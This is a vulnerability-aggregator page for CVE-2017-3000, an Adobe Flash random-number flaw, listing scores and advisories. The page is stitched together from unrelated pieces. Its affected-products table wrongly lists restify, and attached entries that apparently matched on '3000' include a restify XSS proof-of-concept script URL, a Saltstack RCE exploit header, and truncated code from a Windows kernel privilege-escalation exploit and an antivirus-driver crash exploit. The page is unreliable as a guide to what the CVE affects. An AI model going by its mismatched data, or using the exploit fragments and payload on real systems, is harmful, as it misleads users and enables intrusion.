CVE-2017-3000
published 2017-03-14CVE-2017-3000: Adobe Flash Player versions 24.0.0.221 and earlier have a vulnerability in the random number generator used for constant blinding. Successful exploitation…
PriorityP434medium6.5CVSS 3.1
AVNACLPRNUIRSUCHINAN
EPSS
8.36%
94.3th percentile
Adobe Flash Player versions 24.0.0.221 and earlier have a vulnerability in the random number generator used for constant blinding. Successful exploitation could lead to information disclosure.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | flash_player | <= 24.0.0.221 | — |
| adobe | flash_player_desktop_runtime | <= 24.0.0.221 | — |
| restify | restify | >= 2.0.0 < 4.1.0 | 4.1.0 |
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:P/I:N/A:N
vendor_redhat6.5MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
flash-plugin: multiple code execution issues fixed in APSB17-07
vendor_redhat·2017-03-14·CVSS 6.5
CVE-2017-3000 [MEDIUM] flash-plugin: multiple code execution issues fixed in APSB17-07
flash-plugin: multiple code execution issues fixed in APSB17-07
Adobe Flash Player versions 24.0.0.221 and earlier have a vulnerability in the random number generator used for constant blinding. Successful exploitation could lead to information disclosure.
Package: flash-plugin (Red Hat Enterprise Linux 5) - Will not fix
GHSA
GHSA-vh5p-gf3p-64qv: Adobe Flash Player versions 24
ghsa_unreviewed·2022-05-14
CVE-2017-3000 [HIGH] CWE-200 GHSA-vh5p-gf3p-64qv: Adobe Flash Player versions 24
Adobe Flash Player versions 24.0.0.221 and earlier have a vulnerability in the random number generator used for constant blinding. Successful exploitation could lead to information disclosure.
GHSA
Cross-Site Scripting (XSS) in restify
ghsa·2018-11-09
CVE-2017-16018 [MEDIUM] CWE-79 Cross-Site Scripting (XSS) in restify
Cross-Site Scripting (XSS) in restify
Affected versions of `restify` are susceptible to a cross-site scripting vulnerability when using URL encoded script tags in a non-existent URL.
## Proof of Concept:
Request
```
https://localhost:3000/no5_such3_file7.pl?%22%3E%3Cscript%3Ealert(73541);%3C/script%3E
```
Will be included in response:
```alert(73541);```
## Recommendation
Update to version 4.1.0 or later.
No detection rules found.
Exploit-DB
Saltstack 3000.1 - Remote Code Execution
exploitdb·2020-05-05·CVSS 9.8
CVE-2020-11652 [CRITICAL] Saltstack 3000.1 - Remote Code Execution
Saltstack 3000.1 - Remote Code Execution
---
# Exploit Title: Saltstack 3000.1 - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: Jasper Lievisse Adriaanse
# Vendor Homepage: https://www.saltstack.com/
# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*
# Tested on: Debian 10 with Salt 2019.2.0
# CVE : CVE-2020-11651 and CVE-2020-11652
# Discription: Saltstack authentication bypass/remote code execution
#
# Source: https://github.com/jasperla/CVE-2020-11651-poc
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https:/
Exploit-DB
Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS17-017)
exploitdb·2018-03-15
CVE-2017-0101 Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS17-017)
Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS17-017)
---
#include
#include
#include
#include
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif
CONST LONG maxTimes = 2000;
CONST LONG tmpTimes = 3000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HPALETTE hpalette[maxTimes] = { NULL };
static DWORD iMemHunted = NULL;
static HBITMAP hBmpHunted = NULL;
static PDWORD pBmpHunted = NULL;
static HPALETTE hPalExtend = NULL;
CONST LONG iExtPaleHmgr = 809;
CONST LONG iExtcEntries = 814;
CONST LONG iExtPalColor = 828;
typedef struct _PATRECT {
INT nXLeft;
INT nYLeft;
INT nWidth;
INT nHeight;
HBRUSH hBrush;
} PATRECT, *
Exploit-DB
Panda Free Antivirus - 'PSKMAD.sys' Denial of Service
exploitdb·2017-04-29
Panda Free Antivirus - 'PSKMAD.sys' Denial of Service
Panda Free Antivirus - 'PSKMAD.sys' Denial of Service
---
/*
# Exploit Title: Panda Cloud Antivirus Free - 'PSKMAD.sys' - BSoD - denial of service
# Date: 2017-04-29
# Exploit Author: Peter baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://download.cnet.com/Panda-Cloud-Antivirus-Free-Edition/3000-2239_4-10914099.html?part=dl-&subj=dl&tag=button&lang=en
# Version: 18.0
# Tested on: Windows 7 SP1 Pro x64, Windows 10 Pro x64
# CVE : requested
*/
#include "stdafx.h"
#include
#include
#include
#define DEVICE_NAME L"\\\\.\\PSMEMDriver"
LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
HANDLE hFile = NULL;
hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
NULL,
0);
return hFile;
}
int main()
{
H
http://rhn.redhat.com/errata/RHSA-2017-0526.htmlhttp://www.securityfocus.com/bid/96862http://www.securitytracker.com/id/1037994https://helpx.adobe.com/security/products/flash-player/apsb17-07.htmlhttps://security.gentoo.org/glsa/201703-02http://rhn.redhat.com/errata/RHSA-2017-0526.htmlhttp://www.securityfocus.com/bid/96862http://www.securitytracker.com/id/1037994https://helpx.adobe.com/security/products/flash-player/apsb17-07.htmlhttps://security.gentoo.org/glsa/201703-02
2017-03-14
Published